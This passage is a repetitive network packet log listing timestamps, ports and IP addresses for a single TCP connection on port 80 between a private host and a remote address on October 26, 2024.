Oct 26, 2024 07:27:12.282680035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282685041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282700062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282704115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282708883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282725096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282727003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282733917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282738924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282742977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282752037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282759905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282766104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282768011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282779932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282783031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282793045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282800913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282803059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282809973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.282824039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282839060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.282862902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283073902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283082008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283097982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283106089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283121109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283122063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283130884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283138990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283145905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283147097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283157110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283164024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283164978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283173084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283180952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283188105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283189058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283195972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283201933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283205986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283215046 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283224106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283233881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283248901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283248901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283257008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283262014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283269882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283278942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283282995 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283288002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283296108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283307076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283310890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283329964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283334017 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283339977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283350945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283358097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283363104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283366919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283382893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283382893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283391953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283402920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283406973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283416986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283428907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283432007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283441067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283447027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283454895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283458948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283466101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283474922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283483028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283490896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283498049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283502102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283508062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283513069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283524036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283533096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283545971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283550978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283560038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.283584118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.283592939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.306174994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306191921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306200981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306207895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306216002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306220055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.306243896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.306272984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306282997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306299925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306303024 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.306308985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306318045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306320906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.306325912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306344032 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306349039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.306375027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.306395054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.306639910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306691885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306711912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306756020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.306766987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306775093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.306813002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307342052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307351112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307362080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307378054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307383060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307387114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307401896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307405949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307410955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307419062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307425976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307430029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307434082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307451010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307463884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307466030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307476044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307503939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307694912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307703972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307712078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307733059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307748079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307849884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307868004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307883024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307890892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307908058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307909966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307925940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307934999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307941914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307949066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307964087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307965040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307972908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307986975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.307991982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.307996035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308005095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308012009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308021069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308034897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308037043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308043003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308058023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308062077 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308069944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308075905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308079958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308101892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308346033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308449030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308454037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308461905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308478117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308486938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308497906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308501005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308510065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308523893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308523893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308532953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308549881 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308571100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308737040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308743954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308752060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308759928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308767080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308789968 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308804035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308871984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308881044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308902979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308911085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308921099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308926105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308948994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308974028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.308983088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.308991909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309007883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309034109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309056997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309092999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309098959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309113979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309133053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309153080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309181929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309190989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309206009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309212923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309221029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309227943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309237003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309252024 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309274912 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309313059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309322119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309329033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309336901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309344053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309355021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309360027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309379101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309382915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309387922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309396982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309402943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309411049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309418917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309422016 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309448957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.309499979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309505939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.309540033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.318775892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.318842888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.318850994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.318871975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.318888903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.318919897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.318945885 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.318953991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.318963051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.318970919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.318977118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.318984985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.318993092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.318999052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319000006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319020033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319040060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319058895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319066048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319068909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319089890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319097996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319106102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319111109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319123983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319132090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319133043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319139957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319163084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319180965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319212914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319221020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319236040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319263935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319297075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319386959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319405079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319420099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319427013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319434881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319446087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319474936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319499016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319506884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319521904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319538116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319546938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319546938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319556952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319566011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319570065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319586039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319612026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319670916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319679022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319694042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319700956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319719076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319724083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319731951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319739103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319741011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319747925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319761992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319763899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319773912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319787025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319787979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319797993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319812059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319817066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319823980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319839001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319848061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319858074 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319861889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319870949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319884062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319885969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.319910049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.319933891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320451021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320467949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320477009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320483923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320498943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320506096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320518017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320527077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320538044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320539951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320549965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320564985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320569038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320579052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320585012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.320585966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.320595026 CEST	80	49991	185.215.113.84	192.168.2.6
